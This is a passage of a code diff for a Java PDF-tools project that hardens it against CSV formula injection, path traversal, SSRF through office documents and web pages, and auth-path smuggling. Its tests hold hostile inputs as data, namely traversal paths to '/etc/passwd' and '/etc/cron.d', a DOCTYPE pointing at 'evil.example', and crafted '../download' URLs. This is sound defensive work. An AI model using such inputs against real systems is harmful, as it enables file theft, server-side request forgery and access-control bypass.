"-4€"
|
||||
})
|
||||
void testNeutraliseFormula_numbersAreUnchanged(String value) {
|
||||
assertEquals(value, CsvUtils.neutraliseFormula(value));
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {"-", "--", "---"})
|
||||
void testNeutraliseFormula_dashPlaceholdersAreUnchanged(String value) {
|
||||
assertEquals(value, CsvUtils.neutraliseFormula(value));
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {"Alice", "30", "hello=world", " =1+1", "a-b", "1-2", "(1,234.00)"})
|
||||
void testNeutraliseFormula_harmlessValuesAreUnchanged(String value) {
|
||||
assertEquals(value, CsvUtils.neutraliseFormula(value));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testNeutraliseFormula_nullAndEmpty() {
|
||||
assertNull(CsvUtils.neutraliseFormula(null));
|
||||
assertEquals("", CsvUtils.neutraliseFormula(""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testNeutraliseFormula_isNotIdempotentOnAlreadyPrefixedValue() {
|
||||
// A prefixed value no longer starts with a trigger, so apostrophes cannot stack
|
||||
String once = CsvUtils.neutraliseFormula("=1+1");
|
||||
assertEquals("'=1+1", once);
|
||||
assertEquals(once, CsvUtils.neutraliseFormula(once));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testNeutraliseRow_prefixesOnlyDangerousCells() {
|
||||
List<String> row = Arrays.asList("Total", "-1,234.00", "=1+1", null);
|
||||
|
||||
List<String> result = CsvUtils.neutraliseRow(row);
|
||||
|
||||
assertEquals(Arrays.asList("Total", "-1,234.00", "'=1+1", null), result);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testNeutraliseRow_nullRow() {
|
||||
assertNull(CsvUtils.neutraliseRow(null));
|
||||
}
|
||||
}
|
||||
@@ -221,7 +221,29 @@ public class GeneralUtilsTest {
|
||||
|
||||
// Test multiple dots
|
||||
assertEquals("file.with.multiple", GeneralUtils.removeExtension("file.with.multiple.dots"));
|
||||
assertEquals("path/to/file", GeneralUtils.removeExtension("path/to/file.ext"));
|
||||
// Directory components are stripped, only the base name is kept
|
||||
assertEquals("file", GeneralUtils.removeExtension("path/to/file.ext"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testRemoveExtensionStripsPathTraversal() {
|
||||
assertEquals("passwd", GeneralUtils.removeExtension("../../../etc/passwd.txt"));
|
||||
assertEquals("evil", GeneralUtils.removeExtension("/absolute/path/evil.pdf"));
|
||||
assertEquals("passwd", GeneralUtils.removeExtension("....//....//etc/passwd.txt"));
|
||||
|
||||
// No result may carry a separator that a zip entry could use to escape its directory
|
||||
for (String traversal :
|
||||
new String[] {
|
||||
"../../evil.pdf",
|
||||
"..\\..\\evil.pdf",
|
||||
"dir/../../evil.pdf",
|
||||
"/etc/cron.d/payload",
|
||||
"a/b/c"
|
||||
}) {
|
||||
String result = GeneralUtils.removeExtension(traversal);
|
||||
assertFalse(result.contains("/"), "Result should not contain '/': " + result);
|
||||
assertFalse(result.contains("\\"), "Result should not contain '\\': " + result);
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
@@ -418,6 +440,7 @@ public class GeneralUtilsTest {
|
||||
// Test complex cases
|
||||
assertEquals(
|
||||
"complex.file.name", GeneralUtils.getTitleFromFilename("complex.file.name.txt"));
|
||||
assertEquals("path/to/file", GeneralUtils.getTitleFromFilename("path/to/file.ext"));
|
||||
// Directory components are stripped, only the base name is kept
|
||||
assertEquals("file", GeneralUtils.getTitleFromFilename("path/to/file.ext"));
|
||||
}
|
||||
}
|
||||
|
||||
+91
@@ -61,6 +61,20 @@ class OfficeDocumentSanitizerTest {
|
||||
+ "<draw:frame><draw:image xlink:href=\"Pictures/image1.png\" xlink:type=\"simple\"/></draw:frame>"
|
||||
+ "</office:text></office:body></office:document-content>";
|
||||
|
||||
private static final String FLAT_ODF_EXTERNAL =
|
||||
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
|
||||
+ "<office:document"
|
||||
+ " xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\""
|
||||
+ " xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\""
|
||||
+ " xmlns:xlink=\"http://www.w3.org/1999/xlink\""
|
||||
+ " office:mimetype=\"application/vnd.oasis.opendocument.text\">"
|
||||
+ "<office:body><office:text>"
|
||||
+ "<draw:frame><draw:image xlink:href=\""
|
||||
+ EXTERNAL_URL
|
||||
+ "\" xlink:type=\"simple\"/></draw:frame>"
|
||||
+ "<draw:frame><draw:image xlink:href=\"Pictures/image1.png\"/></draw:frame>"
|
||||
+ "</office:text></office:body></office:document>";
|
||||
|
||||
private SsrfProtectionService ssrfProtectionService;
|
||||
private ApplicationProperties applicationProperties;
|
||||
private OfficeDocumentSanitizer sanitizer;
|
||||
@@ -81,6 +95,11 @@ class OfficeDocumentSanitizerTest {
|
||||
assertTrue(sanitizer.isSanitizableExtension("odt"));
|
||||
assertTrue(sanitizer.isSanitizableExtension("ods"));
|
||||
assertTrue(sanitizer.isSanitizableExtension("odp"));
|
||||
assertTrue(sanitizer.isSanitizableExtension("fodt"));
|
||||
assertTrue(sanitizer.isSanitizableExtension("FODS"));
|
||||
assertTrue(sanitizer.isSanitizableExtension("fodp"));
|
||||
assertTrue(sanitizer.isSanitizableExtension("fodg"));
|
||||
assertTrue(sanitizer.isSanitizableExtension("fodm"));
|
||||
assertFalse(sanitizer.isSanitizableExtension("pdf"));
|
||||
assertFalse(sanitizer.isSanitizableExtension("html"));
|
||||
assertFalse(sanitizer.isSanitizableExtension(""));
|
||||
@@ -343,6 +362,78 @@ class OfficeDocumentSanitizerTest {
|
||||
assertTrue(out.contains("#anchor"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void sanitize_unparseablePartWithExternalReferenceFailsClosed() throws IOException {
|
||||
// DOCTYPE makes the part unparseable; it must not slip past sanitization.
|
||||
String poisonedRels =
|
||||
"<?xml version=\"1.0\"?><!DOCTYPE Relationships SYSTEM \"http://evil.example/x.dtd\">"
|
||||
+ "<Relationships><Relationship Id=\"rId1\" Target=\""
|
||||
+ EXTERNAL_URL
|
||||
+ "\" TargetMode=\"External\"/></Relationships>";
|
||||
Map<String, byte[]> entries = new LinkedHashMap<>();
|
||||
entries.put("word/_rels/document.xml.rels", poisonedRels.getBytes(StandardCharsets.UTF_8));
|
||||
byte[] docx = zip(entries);
|
||||
|
||||
assertThrows(IOException.class, () -> sanitizer.sanitize(docx, "docx"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void sanitize_unparseablePartWithoutExternalReferencePassesThrough() throws IOException {
|
||||
byte[] broken = "<content><item>unclosed</content>".getBytes(StandardCharsets.UTF_8);
|
||||
Map<String, byte[]> entries = new LinkedHashMap<>();
|
||||
entries.put("content.xml", broken);
|
||||
byte[] odt = zip(entries);
|
||||
|
||||
byte[] cleaned = sanitizer.sanitize(odt, "odt");
|
||||
|
||||
Map<String, byte[]> result = unzip(cleaned);
|
||||
assertArrayEquals(broken, result.get("content.xml"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void sanitize_flatOdfStripsExternalHrefButKeepsInternal() throws IOException {
|
||||
byte[] fodt = FLAT_ODF_EXTERNAL.getBytes(StandardCharsets.UTF_8);
|
||||
|
||||
String cleaned = new String(sanitizer.sanitize(fodt, "fodt"), StandardCharsets.UTF_8);
|
||||
|
||||
assertFalse(cleaned.contains(EXTERNAL_URL), "External xlink:href should be stripped");
|
||||
assertTrue(cleaned.contains("Pictures/image1.png"), "Internal href should be preserved");
|
||||
}
|
||||
|
||||
@Test
|
||||
void sanitizeFlatXml_stripsExternalHref() throws IOException {
|
||||
String cleaned =
|
||||
new String(
|
||||
sanitizer.sanitizeFlatXml(
|
||||
FLAT_ODF_EXTERNAL.getBytes(StandardCharsets.UTF_8)),
|
||||
StandardCharsets.UTF_8);
|
||||
|
||||
assertFalse(cleaned.contains(EXTERNAL_URL));
|
||||
}
|
||||
|
||||
@Test
|
||||
void sanitizeFlatXml_unparseableInputThrows() {
|
||||
byte[] withDoctype =
|
||||
("<?xml version=\"1.0\"?><!DOCTYPE office:document SYSTEM"
|
||||
+ " \"http://evil.example/x.dtd\"><office:document/>")
|
||||
.getBytes(StandardCharsets.UTF_8);
|
||||
|
||||
assertThrows(IOException.class, () -> sanitizer.sanitizeFlatXml(withDoctype));
|
||||
}
|
||||
|
||||
@Test
|
||||
void sanitizeZipContainer_stripsExternalRelationshipWithoutExtensionHint() throws IOException {
|
||||
Map<String, byte[]> entries = new LinkedHashMap<>();
|
||||
entries.put("word/_rels/document.xml.rels", DOCX_RELS.getBytes(StandardCharsets.UTF_8));
|
||||
byte[] docx = zip(entries);
|
||||
|
||||
Map<String, byte[]> result = unzip(sanitizer.sanitizeZipContainer(docx));
|
||||
|
||||
String rels =
|
||||
new String(result.get("word/_rels/document.xml.rels"), StandardCharsets.UTF_8);
|
||||
assertFalse(rels.contains(EXTERNAL_URL));
|
||||
}
|
||||
|
||||
private static byte[] zip(Map<String, byte[]> entries) throws IOException {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
try (ZipOutputStream zos = new ZipOutputStream(baos)) {
|
||||
|
||||
@@ -190,6 +190,55 @@ class RequestUriUtilsTest {
|
||||
assertTrue(RequestUriUtils.isPublicAuthEndpoint("/app/api/v1/webhooks/whk_abc123", "/app"));
|
||||
}
|
||||
|
||||
// --- mobile scanner / mobile signature QR pairing ---
|
||||
|
||||
@Test
|
||||
void testIsPublicAuthEndpoint_mobileScannerPhoneEndpoints() {
|
||||
// The phone has no login: it validates the QR session, then uploads to it.
|
||||
assertTrue(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/api/v1/mobile-scanner/validate-session/2f1c9a3b-4d5e", ""));
|
||||
assertTrue(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/api/v1/mobile-scanner/upload/2f1c9a3b-4d5e", ""));
|
||||
assertTrue(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/app/api/v1/mobile-scanner/upload/2f1c9a3b-4d5e", "/app"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testIsPublicAuthEndpoint_mobileScannerDesktopEndpointsProtected() {
|
||||
// Desktop calls these through the authenticated api client - they must not be anonymous
|
||||
assertFalse(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/api/v1/mobile-scanner/create-session/abc-123", ""));
|
||||
assertFalse(
|
||||
RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/files/abc-123", ""));
|
||||
assertFalse(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/api/v1/mobile-scanner/download/abc-123/scan.jpg", ""));
|
||||
assertFalse(
|
||||
RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/session/abc-123", ""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testIsPublicAuthEndpoint_mobileScannerCraftedPathsNotPublic() {
|
||||
// A prefix match on the public paths must not smuggle in a download
|
||||
assertFalse(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/api/v1/mobile-scanner/upload/../download/abc-123/scan.jpg", ""));
|
||||
assertFalse(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/api/v1/mobile-scanner/upload/abc-123/../../download/abc-123/scan.jpg",
|
||||
""));
|
||||
assertFalse(
|
||||
RequestUriUtils.isPublicAuthEndpoint(
|
||||
"/api/v1/mobile-scanner/validate-session/abc-123/files", ""));
|
||||
assertFalse(RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/upload", ""));
|
||||
assertFalse(RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/uploads/abc", ""));
|
||||
assertFalse(RequestUriUtils.isPublicAuthEndpoint("/api/v1/mobile-scanner/", ""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testIsPublicAuthEndpoint_withContextPath() {
|
||||
assertTrue(RequestUriUtils.isPublicAuthEndpoint("/app/login", "/app"));
|
||||
|
||||
+156
-11
@@ -2,6 +2,7 @@ package stirling.software.SPDF.controller.api.converters;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
@@ -41,6 +42,7 @@ import stirling.software.common.util.OfficeDocumentSanitizer;
|
||||
import stirling.software.common.util.ProcessExecutor;
|
||||
import stirling.software.common.util.ProcessExecutor.ProcessExecutorResult;
|
||||
import stirling.software.common.util.RegexPatternUtils;
|
||||
import stirling.software.common.util.SvgSanitizer;
|
||||
import stirling.software.common.util.TempFile;
|
||||
import stirling.software.common.util.TempFileManager;
|
||||
import stirling.software.common.util.WebResponseUtils;
|
||||
@@ -50,13 +52,24 @@ import stirling.software.common.util.WebResponseUtils;
|
||||
@Slf4j
|
||||
public class ConvertOfficeController {
|
||||
|
||||
private static final int SNIFF_BYTES = 8192;
|
||||
|
||||
private final CustomPDFDocumentFactory pdfDocumentFactory;
|
||||
private final RuntimePathConfig runtimePathConfig;
|
||||
private final CustomHtmlSanitizer customHtmlSanitizer;
|
||||
private final OfficeDocumentSanitizer officeDocumentSanitizer;
|
||||
private final SvgSanitizer svgSanitizer;
|
||||
private final EndpointConfiguration endpointConfiguration;
|
||||
private final TempFileManager tempFileManager;
|
||||
|
||||
private enum SniffedContent {
|
||||
ZIP_OFFICE,
|
||||
FLAT_XML_OFFICE,
|
||||
SVG,
|
||||
HTML,
|
||||
UNKNOWN
|
||||
}
|
||||
|
||||
private boolean isUnoconvertAvailable() {
|
||||
return endpointConfiguration.isGroupEnabled("Unoconvert")
|
||||
|| endpointConfiguration.isGroupEnabled("Python");
|
||||
@@ -87,17 +100,11 @@ public class ConvertOfficeController {
|
||||
Path inputPath = workDir.resolve(baseName + "." + extensionLower);
|
||||
Path outputPath = workDir.resolve(baseName + ".pdf");
|
||||
|
||||
// Sanitize input before LibreOffice sees it so embedded URLs can't trigger SSRF.
|
||||
if ("html".equals(extensionLower) || "htm".equals(extensionLower)) {
|
||||
String htmlContent = new String(inputFile.getBytes(), StandardCharsets.UTF_8);
|
||||
String sanitizedHtml = customHtmlSanitizer.sanitize(htmlContent);
|
||||
Files.writeString(inputPath, sanitizedHtml, StandardCharsets.UTF_8);
|
||||
} else if (officeDocumentSanitizer.isSanitizableExtension(extensionLower)) {
|
||||
byte[] sanitized =
|
||||
officeDocumentSanitizer.sanitize(inputFile.getBytes(), extensionLower);
|
||||
Files.write(inputPath, sanitized);
|
||||
} else {
|
||||
Files.copy(inputFile.getInputStream(), inputPath, StandardCopyOption.REPLACE_EXISTING);
|
||||
try {
|
||||
writeSanitizedInput(inputFile, inputPath, extensionLower);
|
||||
} catch (IOException e) {
|
||||
FileUtils.deleteQuietly(workDir.toFile());
|
||||
throw e;
|
||||
}
|
||||
|
||||
Path libreOfficeProfile = null;
|
||||
@@ -200,6 +207,144 @@ public class ConvertOfficeController {
|
||||
}
|
||||
}
|
||||
|
||||
// Sanitize input before LibreOffice sees it so embedded URLs can't trigger SSRF.
|
||||
private void writeSanitizedInput(MultipartFile inputFile, Path inputPath, String extensionLower)
|
||||
throws IOException {
|
||||
byte[] head;
|
||||
try (InputStream in = inputFile.getInputStream()) {
|
||||
head = in.readNBytes(SNIFF_BYTES);
|
||||
}
|
||||
SniffedContent sniffed = sniffContent(head);
|
||||
boolean htmlExtension = "html".equals(extensionLower) || "htm".equals(extensionLower);
|
||||
|
||||
if (htmlExtension || sniffed == SniffedContent.HTML) {
|
||||
String htmlContent = new String(inputFile.getBytes(), StandardCharsets.UTF_8);
|
||||
String sanitizedHtml = customHtmlSanitizer.sanitize(htmlContent);
|
||||
Files.writeString(inputPath, sanitizedHtml, StandardCharsets.UTF_8);
|
||||
} else if (sniffed == SniffedContent.SVG) {
|
||||
Files.write(inputPath, svgSanitizer.sanitize(inputFile.getBytes()));
|
||||
} else if (sniffed == SniffedContent.FLAT_XML_OFFICE) {
|
||||
Files.write(inputPath, officeDocumentSanitizer.sanitizeFlatXml(inputFile.getBytes()));
|
||||
} else if (sniffed == SniffedContent.ZIP_OFFICE) {
|
||||
Files.write(
|
||||
inputPath, officeDocumentSanitizer.sanitizeZipContainer(inputFile.getBytes()));
|
||||
} else if (officeDocumentSanitizer.isSanitizableExtension(extensionLower)) {
|
||||
byte[] sanitized =
|
||||
officeDocumentSanitizer.sanitize(inputFile.getBytes(), extensionLower);
|
||||
Files.write(inputPath, sanitized);
|
||||
} else {
|
||||
Files.copy(inputFile.getInputStream(), inputPath, StandardCopyOption.REPLACE_EXISTING);
|
||||
}
|
||||
}
|
||||
|
||||
// LibreOffice routes on content, not extension, so sniffing decides; unknown stays as today.
|
||||
private SniffedContent sniffContent(byte[] head) {
|
||||
if (head == null || head.length < 4) {
|
||||
return SniffedContent.UNKNOWN;
|
||||
}
|
||||
if (head[0] == 0x50 && head[1] == 0x4B && head[2] == 0x03 && head[3] == 0x04) {
|
||||
return isOfficeZip(head) ? SniffedContent.ZIP_OFFICE : SniffedContent.UNKNOWN;
|
||||
}
|
||||
String rootElement = firstElementName(decodeHead(head));
|
||||
if ("svg".equals(rootElement) || rootElement.endsWith(":svg")) {
|
||||
return SniffedContent.SVG;
|
||||
}
|
||||
if (rootElement.startsWith("office:document") || "w:worddocument".equals(rootElement)) {
|
||||
return SniffedContent.FLAT_XML_OFFICE;
|
||||
}
|
||||
if ("html".equals(rootElement)) {
|
||||
return SniffedContent.HTML;
|
||||
}
|
||||
return SniffedContent.UNKNOWN;
|
||||
}
|
||||
|
||||
// Only re-zip containers that look like OOXML/ODF; other archives keep the raw copy path.
|
||||
private boolean isOfficeZip(byte[] head) {
|
||||
if (head.length < 30) {
|
||||
return false;
|
||||
}
|
||||
int nameLength = (head[26] & 0xFF) | ((head[27] & 0xFF) << 8);
|
||||
if (nameLength <= 0 || 30 + nameLength > head.length) {
|
||||
return false;
|
||||
}
|
||||
String firstEntry =
|
||||
new String(head, 30, nameLength, StandardCharsets.ISO_8859_1)
|
||||
.toLowerCase(Locale.ROOT);
|
||||
return "mimetype".equals(firstEntry) || "[content_types].xml".equals(firstEntry);
|
||||
}
|
||||
|
||||
private String decodeHead(byte[] head) {
|
||||
if (head.length >= 2) {
|
||||
if ((head[0] & 0xFF) == 0xFF && (head[1] & 0xFF) == 0xFE) {
|
||||
return new String(head, StandardCharsets.UTF_16LE);
|
||||
}
|
||||
if ((head[0] & 0xFF) == 0xFE && (head[1] & 0xFF) == 0xFF) {
|
||||
return new String(head, StandardCharsets.UTF_16BE);
|
||||
}
|
||||
}
|
||||
return new String(head, StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
// Returns the lower-cased root element name, or empty when the input is not markup.
|
||||
private String firstElementName(String prefix) {
|
||||
int i = 0;
|
||||
while (i < prefix.length()) {
|
||||
char c = prefix.charAt(i);
|
||||
if (Character.isWhitespace(c) || c == '\uFEFF') {
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
if (c != '<') {
|
||||
return "";
|
||||
}
|
||||
if (prefix.startsWith("<?", i)) {
|
||||
int end = prefix.indexOf("?>", i);
|
||||
if (end < 0) {
|
||||
return "";
|
||||
}
|
||||
i = end + 2;
|
||||
continue;
|
||||
}
|
||||
if (prefix.startsWith("<!--", i)) {
|
||||
int end = prefix.indexOf("-->", i);
|
||||
if (end < 0) {
|
||||
return "";
|
||||
}
|
||||
i = end + 3;
|
||||
continue;
|
||||
}
|
||||
// a doctype declares the root element, so its name answers the question
|
||||
if (prefix.regionMatches(true, i, "<!doctype", 0, 9)) {
|
||||
return readName(prefix, skipWhitespace(prefix, i + 9));
|
||||
}
|
||||
if (prefix.startsWith("<!", i)) {
|
||||
return "";
|
||||
}
|
||||
return readName(prefix, i + 1);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private int skipWhitespace(String value, int from) {
|
||||
int i = from;
|
||||
while (i < value.length() && Character.isWhitespace(value.charAt(i))) {
|
||||
i++;
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
private String readName(String value, int from) {
|
||||
int end = from;
|
||||
while (end < value.length()) {
|
||||
char c = value.charAt(end);
|
||||
if (Character.isWhitespace(c) || c == '>' || c == '/') {
|
||||
break;
|
||||
}
|
||||
end++;
|
||||
}
|
||||
return value.substring(from, end).toLowerCase(Locale.ROOT);
|
||||
}
|
||||
|
||||
private boolean isValidFileExtension(String fileExtension) {
|
||||
return RegexPatternUtils.getInstance()
|
||||
.getFileExtensionValidationPattern()
|
||||
|
||||
+146
-1
@@ -10,8 +10,10 @@ import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.time.Duration;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.Set;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
@@ -37,6 +39,7 @@ import stirling.software.common.model.ApplicationProperties;
|
||||
import stirling.software.common.model.tool.ToolFormat;
|
||||
import stirling.software.common.model.tool.ToolIO;
|
||||
import stirling.software.common.service.CustomPDFDocumentFactory;
|
||||
import stirling.software.common.service.SsrfProtectionService;
|
||||
import stirling.software.common.util.ExceptionUtils;
|
||||
import stirling.software.common.util.GeneralUtils;
|
||||
import stirling.software.common.util.ProcessExecutor;
|
||||
@@ -54,12 +57,35 @@ public class ConvertWebsiteToPDF {
|
||||
private final RuntimePathConfig runtimePathConfig;
|
||||
private final ApplicationProperties applicationProperties;
|
||||
private final TempFileManager tempFileManager;
|
||||
private final SsrfProtectionService ssrfProtectionService;
|
||||
|
||||
private static final Pattern FILE_SCHEME_PATTERN =
|
||||
Pattern.compile("(?<![a-z0-9_])file\\s*:(?:/{1,3}|%2f|%5c|%3a|/|/)");
|
||||
|
||||
private static final Pattern NUMERIC_HTML_ENTITY_PATTERN = Pattern.compile("&#(x?[0-9a-f]+);");
|
||||
|
||||
// Tags whose resources WeasyPrint actually fetches; <a href> is deliberately excluded
|
||||
private static final Pattern RESOURCE_TAG_PATTERN =
|
||||
Pattern.compile(
|
||||
"<\\s*(?:img|link|source|embed|object|image|input|track)\\b([^>]*)>",
|
||||
Pattern.CASE_INSENSITIVE);
|
||||
|
||||
private static final Pattern RESOURCE_ATTRIBUTE_PATTERN =
|
||||
Pattern.compile(
|
||||
"\\b(?:src|srcset|href|data|poster)\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)'|([^\\s>]+))",
|
||||
Pattern.CASE_INSENSITIVE);
|
||||
|
||||
private static final Pattern CSS_URL_PATTERN =
|
||||
Pattern.compile(
|
||||
"url\\(\\s*(?:\"([^\"]*)\"|'([^']*)'|([^)\\s]*))\\s*\\)",
|
||||
Pattern.CASE_INSENSITIVE);
|
||||
|
||||
private static final Pattern CSS_IMPORT_PATTERN =
|
||||
Pattern.compile("@import\\s+(?:\"([^\"]*)\"|'([^']*)')", Pattern.CASE_INSENSITIVE);
|
||||
|
||||
private static final Pattern URI_SCHEME_PATTERN =
|
||||
Pattern.compile("^([a-z][a-z0-9+.-]*):", Pattern.CASE_INSENSITIVE);
|
||||
|
||||
@AutoJobPostMapping(
|
||||
consumes = MediaType.MULTIPART_FORM_DATA_VALUE,
|
||||
value = "/url/pdf",
|
||||
@@ -115,7 +141,8 @@ public class ConvertWebsiteToPDF {
|
||||
// Download the remote content first to ensure we don't allow dangerous schemes
|
||||
String htmlContent = fetchRemoteHtml(URL);
|
||||
|
||||
if (containsDisallowedUriScheme(htmlContent)) {
|
||||
if (containsDisallowedUriScheme(htmlContent)
|
||||
|| containsBlockedResourceReference(htmlContent, URL)) {
|
||||
URI rejectionLocation =
|
||||
uriComponentsBuilder
|
||||
.queryParam("error", "error.disallowedUrlContent")
|
||||
@@ -209,6 +236,124 @@ public class ConvertWebsiteToPDF {
|
||||
return FILE_SCHEME_PATTERN.matcher(normalized).find();
|
||||
}
|
||||
|
||||
// WeasyPrint fetches sub-resources itself, so every referenced URL needs the SSRF check too
|
||||
private boolean containsBlockedResourceReference(String htmlContent, String baseUrl) {
|
||||
if (htmlContent == null || htmlContent.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
URI baseUri;
|
||||
try {
|
||||
baseUri = URI.create(baseUrl);
|
||||
} catch (IllegalArgumentException e) {
|
||||
log.debug("Unable to parse base URL for resource validation: {}", baseUrl);
|
||||
return false;
|
||||
}
|
||||
|
||||
Set<String> checkedHosts = new HashSet<>();
|
||||
for (String candidate : extractResourceUrls(htmlContent)) {
|
||||
if (!isResourceReferenceAllowed(candidate, baseUri, checkedHosts)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private List<String> extractResourceUrls(String htmlContent) {
|
||||
List<String> urls = new ArrayList<>();
|
||||
|
||||
Matcher tagMatcher = RESOURCE_TAG_PATTERN.matcher(htmlContent);
|
||||
while (tagMatcher.find()) {
|
||||
Matcher attributeMatcher = RESOURCE_ATTRIBUTE_PATTERN.matcher(tagMatcher.group(1));
|
||||
while (attributeMatcher.find()) {
|
||||
addResourceCandidates(urls, firstNonNullGroup(attributeMatcher));
|
||||
}
|
||||
}
|
||||
|
||||
Matcher cssUrlMatcher = CSS_URL_PATTERN.matcher(htmlContent);
|
||||
while (cssUrlMatcher.find()) {
|
||||
addResourceCandidates(urls, firstNonNullGroup(cssUrlMatcher));
|
||||
}
|
||||
|
||||
Matcher cssImportMatcher = CSS_IMPORT_PATTERN.matcher(htmlContent);
|
||||
while (cssImportMatcher.find()) {
|
||||
addResourceCandidates(urls, firstNonNullGroup(cssImportMatcher));
|
||||
}
|
||||
|
||||
return urls;
|
||||
}
|
||||
|
||||
private String firstNonNullGroup(Matcher matcher) {
|
||||
for (int group = 1; group <= matcher.groupCount(); group++) {
|
||||
if (matcher.group(group) != null) {
|
||||
return matcher.group(group);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// Splits srcset candidate lists; over-splitting a plain URL is harmless as pieces stay relative
|
||||
private void addResourceCandidates(List<String> urls, String attributeValue) {
|
||||
if (attributeValue == null || attributeValue.isBlank()) {
|
||||
return;
|
||||
}
|
||||
for (String entry : attributeValue.split(",")) {
|
||||
String trimmed = entry.trim();
|
||||
if (trimmed.isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
int descriptorStart = trimmed.indexOf(' ');
|
||||
urls.add(descriptorStart > 0 ? trimmed.substring(0, descriptorStart) : trimmed);
|
||||
}
|
||||
}
|
||||
|
||||
private boolean isResourceReferenceAllowed(
|
||||
String candidate, URI baseUri, Set<String> checkedHosts) {
|
||||
String url = decodeUrlHtmlEntities(candidate).trim();
|
||||
if (url.isEmpty() || url.startsWith("#")) {
|
||||
return true;
|
||||
}
|
||||
|
||||
Matcher schemeMatcher = URI_SCHEME_PATTERN.matcher(url);
|
||||
if (schemeMatcher.find()) {
|
||||
String scheme = schemeMatcher.group(1).toLowerCase(Locale.ROOT);
|
||||
if ("data".equals(scheme)) {
|
||||
return true;
|
||||
}
|
||||
if (!"http".equals(scheme) && !"https".equals(scheme)) {
|
||||
log.warn("Rejected resource reference with disallowed scheme: {}", scheme);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
URI resolved;
|
||||
try {
|
||||
resolved = baseUri.resolve(new URI(url.replace(" ", "%20")));
|
||||
} catch (Exception e) {
|
||||
log.debug("Skipping unparseable resource reference: {}", url);
|
||||
return true;
|
||||
}
|
||||
|
||||
String host = resolved.getHost() != null ? resolved.getHost() : resolved.getAuthority();
|
||||
if (host == null) {
|
||||
return true;
|
||||
}
|
||||
// One check per distinct host keeps the DNS lookups bounded on resource-heavy pages
|
||||
if (!checkedHosts.add(host.toLowerCase(Locale.ROOT))) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return ssrfProtectionService.isUrlAllowed(resolved.toString());
|
||||
}
|
||||
|
||||
private String decodeUrlHtmlEntities(String value) {
|
||||
return decodeNumericHtmlEntities(value)
|
||||
.replace(":", ":")
|
||||
.replace("/", "/")
|
||||
.replace("⁄", "/")
|
||||
.replace("&", "&");
|
||||
}
|
||||
|
||||
private String normalizeForSchemeDetection(String htmlContent) {
|
||||
String lowerCaseContent = htmlContent.toLowerCase(Locale.ROOT);
|
||||
String decodedHtmlEntities = decodeNumericHtmlEntities(lowerCaseContent);
|
||||
|
||||
+2
-1
@@ -35,6 +35,7 @@ import stirling.software.common.model.tool.ToolArity;
|
||||
import stirling.software.common.model.tool.ToolFormat;
|
||||
import stirling.software.common.model.tool.ToolIO;
|
||||
import stirling.software.common.service.CustomPDFDocumentFactory;
|
||||
import stirling.software.common.util.CsvUtils;
|
||||
import stirling.software.common.util.GeneralUtils;
|
||||
import stirling.software.common.util.WebResponseUtils;
|
||||
|
||||
@@ -73,7 +74,7 @@ public class ExtractCSVController {
|
||||
StringWriter sw = new StringWriter();
|
||||
try (CSVPrinter printer = format.print(sw)) {
|
||||
for (List<String> row : fragments.get(i).rawRows()) {
|
||||
printer.printRecord(row);
|
||||
printer.printRecord(CsvUtils.neutraliseRow(row));
|
||||
}
|
||||
}
|
||||
csvEntries.add(
|
||||
|
||||
+6
-1
@@ -33,6 +33,7 @@ import lombok.RequiredArgsConstructor;
|
||||
|
||||
import stirling.software.common.model.FormFieldWithCoordinates;
|
||||
import stirling.software.common.service.CustomPDFDocumentFactory;
|
||||
import stirling.software.common.util.CsvUtils;
|
||||
import stirling.software.common.util.ExceptionUtils;
|
||||
import stirling.software.common.util.FormUtils;
|
||||
import stirling.software.common.util.TempFileManager;
|
||||
